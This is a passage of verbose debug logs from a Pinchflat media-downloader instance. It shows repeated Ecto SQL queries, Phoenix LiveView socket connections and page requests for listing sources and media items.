OR duration_seconds >= ss1."min_duration_seconds") AND ((ss1."max_duration_seconds" IS NULL) OR duration_seconds <= ss1."max_duration_seconds"))) GROUP BY sm0."source_id") AS s3 ON (s3."source_id" = s0."id") AND (s2."source_id" = s0."id") WHERE ((s0."marked_for_deletion_at" IS NULL) AND (m1."marked_for_deletion_at" IS NULL)) [] 21:58:29.724 [debug] QUERY OK source="sources" db=1.8ms queue=0.2ms idle=4.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", coalesce(s2."downloaded_count", 0), coalesce(s3."pending_count", 0), coalesce(s2."media_size_bytes", 0), m1."id", m1."name", m1."redownload_delay_days", m1."output_path_template", m1."download_subs", m1."download_auto_subs", m1."embed_subs", m1."sub_langs", m1."download_thumbnail", m1."embed_thumbnail", m1."download_source_images", m1."download_metadata", m1."embed_metadata", m1."download_nfo", m1."sponsorblock_behaviour", m1."sponsorblock_categories", m1."shorts_behaviour", m1."livestream_behaviour", m1."audio_track", m1."preferred_resolution", m1."media_container", m1."marked_for_deletion_at", m1."inserted_at", m1."updated_at" FROM "sources" AS s0 INNER JOIN "media_profiles" AS m1 ON m1."id" = s0."media_profile_id" LEFT OUTER JOIN (SELECT count(sm0."id") AS "downloaded_count", sm0."source_id" AS "source_id", sum(sm0."media_size_bytes") AS "media_size_bytes" FROM "media_items" AS sm0 WHERE (NOT (sm0."media_filepath" IS NULL)) GROUP BY sm0."source_id") AS s2 ON s2."source_id" = s0."id" LEFT OUTER JOIN (SELECT count(sm0."id") AS "pending_count", sm0."source_id" AS "source_id" FROM "media_items" AS sm0 INNER JOIN "sources" AS ss1 ON ss1."id" = sm0."source_id" INNER JOIN "media_profiles" AS sm2 ON sm2."id" = ss1."media_profile_id" WHERE (((((NOT (NOT (sm0."media_filepath" IS NULL)) AND NOT (sm0."prevent_download" = 1)) AND ((ss1."download_cutoff_date" IS NULL) OR date(sm0."uploaded_at") >= ss1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((ss1."title_filter_regex" IS NULL) OR regexp_like(sm0."title", ss1."title_filter_regex"))) AND (((ss1."min_duration_seconds" IS NULL) OR duration_seconds >= ss1."min_duration_seconds") AND ((ss1."max_duration_seconds" IS NULL) OR duration_seconds <= ss1."max_duration_seconds"))) GROUP BY sm0."source_id") AS s3 ON (s3."source_id" = s0."id") AND (s2."source_id" = s0."id") WHERE ((s0."marked_for_deletion_at" IS NULL) AND (m1."marked_for_deletion_at" IS NULL)) ORDER BY s0."custom_name" COLLATE NOCASE, s0."id" LIMIT ? OFFSET ? [10, 0] 21:58:29.726 [info] Sent 200 in 10ms 21:58:29.779 [debug] Current batch of media processed. Will check again in 1000ms 21:58:29.823 [debug] Current batch of media processed. Will check again in 1000ms 21:58:29.954 [info] CONNECTED TO Phoenix.LiveView.Socket in 21µs Transport: :websocket Serializer: Phoenix.Socket.V2.JSONSerializer Parameters: %{"_csrf_token" => "AXgrMUkXOBMTIAY8WG05KiUQemwnEA99yKYEqekqVmEU2_zCvO4-QWCD", "_live_referer" => "undefined", "_mount_attempts" => "0", "_mounts" => "0", "_track_static" => %{"0" => "https://pinchflat.javi.fr/assets/app-ec454b024a27f3bffb6e1a52ff1601c2.css?vsn=d", "1" => "https://pinchflat.javi.fr/assets/app-521b5c83d8b2f79295a25943104e99d5.js?vsn=d"}, "vsn" => "2.0.0"} 21:58:29.991 [debug] MOUNT PinchflatWeb.Sources.SourceLive.IndexTableLive Parameters: :not_mounted_at_router Session: %{"_csrf_token" => "x3rt8rSbEMCij2CiS_NAvGL9", "initial_sort_direction" => :asc, "initial_sort_key" => :custom_name, "results_per_page" => 10} 21:58:29.993 [debug] QUERY OK source="sources" db=1.4ms idle=272.3ms SELECT count(s0."id") FROM "sources" AS s0 INNER JOIN "media_profiles" AS m1 ON m1."id" = s0."media_profile_id" LEFT OUTER JOIN (SELECT count(sm0."id") AS "downloaded_count", sm0."source_id" AS "source_id", sum(sm0."media_size_bytes") AS "media_size_bytes" FROM "media_items" AS sm0 WHERE (NOT (sm0."media_filepath" IS NULL)) GROUP BY sm0."source_id") AS s2 ON s2."source_id" = s0."id" LEFT OUTER JOIN (SELECT count(sm0."id") AS "pending_count", sm0."source_id" AS "source_id" FROM "media_items" AS sm0 INNER JOIN "sources" AS ss1 ON ss1."id" = sm0."source_id" INNER JOIN "media_profiles" AS sm2 ON sm2."id" = ss1."media_profile_id" WHERE (((((NOT (NOT (sm0."media_filepath" IS NULL)) AND NOT (sm0."prevent_download" = 1)) AND ((ss1."download_cutoff_date" IS NULL) OR date(sm0."uploaded_at") >= ss1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((ss1."title_filter_regex" IS NULL) OR regexp_like(sm0."title", ss1."title_filter_regex"))) AND (((ss1."min_duration_seconds" IS NULL) OR duration_seconds >= ss1."min_duration_seconds") AND ((ss1."max_duration_seconds" IS NULL) OR duration_seconds <= ss1."max_duration_seconds"))) GROUP BY sm0."source_id") AS s3 ON (s3."source_id" = s0."id") AND (s2."source_id" = s0."id") WHERE ((s0."marked_for_deletion_at" IS NULL) AND (m1."marked_for_deletion_at" IS NULL)) [] 21:58:29.995 [debug] QUERY OK source="sources" db=1.7ms idle=273.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", coalesce(s2."downloaded_count", 0), coalesce(s3."pending_count", 0), coalesce(s2."media_size_bytes", 0), m1."id", m1."name", m1."redownload_delay_days", m1."output_path_template", m1."download_subs", m1."download_auto_subs", m1."embed_subs", m1."sub_langs", m1."download_thumbnail", m1."embed_thumbnail", m1."download_source_images", m1."download_metadata", m1."embed_metadata", m1."download_nfo", m1."sponsorblock_behaviour", m1."sponsorblock_categories", m1."shorts_behaviour", m1."livestream_behaviour", m1."audio_track", m1."preferred_resolution", m1."media_container", m1."marked_for_deletion_at", m1."inserted_at", m1."updated_at" FROM "sources" AS s0 INNER JOIN "media_profiles" AS m1 ON m1."id" = s0."media_profile_id" LEFT OUTER JOIN (SELECT count(sm0."id") AS "downloaded_count", sm0."source_id" AS "source_id", sum(sm0."media_size_bytes") AS "media_size_bytes" FROM "media_items" AS sm0 WHERE (NOT (sm0."media_filepath" IS NULL)) GROUP BY sm0."source_id") AS s2 ON s2."source_id" = s0."id" LEFT OUTER JOIN (SELECT count(sm0."id") AS "pending_count", sm0."source_id" AS "source_id" FROM "media_items" AS sm0 INNER JOIN "sources" AS ss1 ON ss1."id" = sm0."source_id" INNER JOIN "media_profiles" AS sm2 ON sm2."id" = ss1."media_profile_id" WHERE (((((NOT (NOT (sm0."media_filepath" IS NULL)) AND NOT (sm0."prevent_download" = 1)) AND ((ss1."download_cutoff_date" IS NULL) OR date(sm0."uploaded_at") >= ss1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((ss1."title_filter_regex" IS NULL) OR regexp_like(sm0."title", ss1."title_filter_regex"))) AND (((ss1."min_duration_seconds" IS NULL) OR duration_seconds >= ss1."min_duration_seconds") AND ((ss1."max_duration_seconds" IS NULL) OR duration_seconds <= ss1."max_duration_seconds"))) GROUP BY sm0."source_id") AS s3 ON (s3."source_id" = s0."id") AND (s2."source_id" = s0."id") WHERE ((s0."marked_for_deletion_at" IS NULL) AND (m1."marked_for_deletion_at" IS NULL)) ORDER BY s0."custom_name" COLLATE NOCASE, s0."id" LIMIT ? OFFSET ? [10, 0] 21:58:29.995 [debug] Replied in 4ms 21:58:29.997 [debug] MOUNT Pinchflat.UpgradeButtonLive Parameters: :not_mounted_at_router Session: %{"_csrf_token" => "x3rt8rSbEMCij2CiS_NAvGL9"} 21:58:29.997 [debug] Replied in 57µs 21:58:30.780 [debug] Current batch of media processed. Will check again in 1000ms 21:58:30.824 [debug] Current batch of media processed. Will check again in 1000ms 21:58:30.947 [info] GET /sources/1/ 21:58:30.948 [debug] Processing with PinchflatWeb.Sources.SourceController.show/2 Parameters: %{"id" => "1"} Pipelines: [:browser] 21:58:30.949 [debug] QUERY OK source="sources" db=0.4ms queue=0.2ms idle=955.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 21:58:30.949 [debug] QUERY OK source="media_profiles" db=0.3ms queue=0.2ms idle=954.0ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 21:58:30.950 [debug] QUERY OK source="tasks" db=0.5ms idle=722.9ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at" FROM "tasks" AS t0 INNER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (t0."source_id" = ?) AND (o1."state" IN (?,?,?,?)) [1, "executing", "available", "scheduled", "retryable"] 21:58:30.951 [debug] QUERY OK source="oban_jobs" db=0.5ms idle=219.0ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" = ?) [848] 21:58:30.952 [debug] QUERY OK source="settings" db=0.4ms idle=219.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:58:30.952 [debug] QUERY OK source="settings" db=0.4ms idle=3.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:58:30.953 [debug] QUERY OK source="settings" db=0.4ms idle=3.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:58:30.955 [debug] QUERY OK source="sources" db=0.5ms idle=4.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 21:58:30.956 [debug] QUERY OK source="media_items" db=0.8ms idle=4.1ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [1] 21:58:30.957 [debug] QUERY OK source="media_items" db=0.9ms idle=4.5ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [1, 10, 0] 21:58:30.958 [debug] QUERY OK source="sources" db=0.3ms queue=0.1ms idle=5.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 21:58:30.959 [debug] QUERY OK source="media_items" db=0.3ms queue=0.2ms idle=5.1ms SELECT count(m0."id") FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) [1] 21:58:30.960 [debug] QUERY OK source="media_items" db=0.7ms idle=4.1ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [1, 10, 0] 21:58:30.961 [debug] QUERY OK source="sources" db=0.5ms idle=4.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 21:58:30.962 [debug] QUERY OK source="media_items" db=0.7ms idle=3.9ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))))) [1] 21:58:30.963 [debug] QUERY OK source="media_items" db=1.2ms idle=3.9ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))))) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [1, 10, 0] 21:58:30.965 [info] Sent 200 in 17ms 21:58:31.231 [info] CONNECTED TO Phoenix.LiveView.Socket in 22µs Transport: :websocket Serializer: Phoenix.Socket.V2.JSONSerializer Parameters: %{"_csrf_token" => "HF0UTWowfgo9ACofGAQsHh0PKikHLRxRdnf9RB-hxMivr6owNPdhqjPh", "_live_referer" => "undefined", "_mount_attempts" => "0", "_mounts" => "0", "_track_static" => %{"0" => "https://pinchflat.javi.fr/assets/app-ec454b024a27f3bffb6e1a52ff1601c2.css?vsn=d", "1" => "https://pinchflat.javi.fr/assets/app-521b5c83d8b2f79295a25943104e99d5.js?vsn=d"}, "vsn" => "2.0.0"} 21:58:31.284 [debug] MOUNT PinchflatWeb.Sources.MediaItemTableLive Parameters: :not_mounted_at_router Session: %{"_csrf_token" => "x3rt8rSbEMCij2CiS_NAvGL9", "media_state" => "pending", "source_id" => 1} 21:58:31.285 [debug] QUERY OK source="sources" db=0.7ms idle=324.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 21:58:31.286 [debug] QUERY OK source="media_items" db=0.9ms idle=324.0ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [1] 21:58:31.287 [debug] QUERY OK source="media_items" db=1.1ms idle=324.1ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [1, 10, 0] 21:58:31.287 [debug] Replied in 3ms 21:58:31.288 [debug] MOUNT PinchflatWeb.Sources.MediaItemTableLive Parameters: :not_mounted_at_router Session: %{"_csrf_token" => "x3rt8rSbEMCij2CiS_NAvGL9", "media_state" => "downloaded", "source_id" => 1} 21:58:31.289 [debug] QUERY OK source="sources" db=0.3ms idle=325.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 21:58:31.290 [debug] QUERY OK source="media_items" db=0.3ms queue=0.2ms idle=60.4ms SELECT count(m0."id") FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) [1] 21:58:31.291 [debug] QUERY OK source="media_items" db=0.5ms queue=0.1ms idle=5.1ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [1, 10, 0] 21:58:31.291 [debug] Replied in 2ms 21:58:31.292 [debug] MOUNT PinchflatWeb.Sources.MediaItemTableLive Parameters: :not_mounted_at_router Session: %{"_csrf_token" => "x3rt8rSbEMCij2CiS_NAvGL9", "media_state" => "other", "source_id" => 1} 21:58:31.293 [debug] QUERY OK source="sources" db=0.5ms idle=6.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 21:58:31.294 [debug] QUERY OK source="media_items" db=0.8ms idle=5.6ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))))) [1] 21:58:31.296 [debug] QUERY OK source="media_items" db=1.4ms idle=4.9ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT 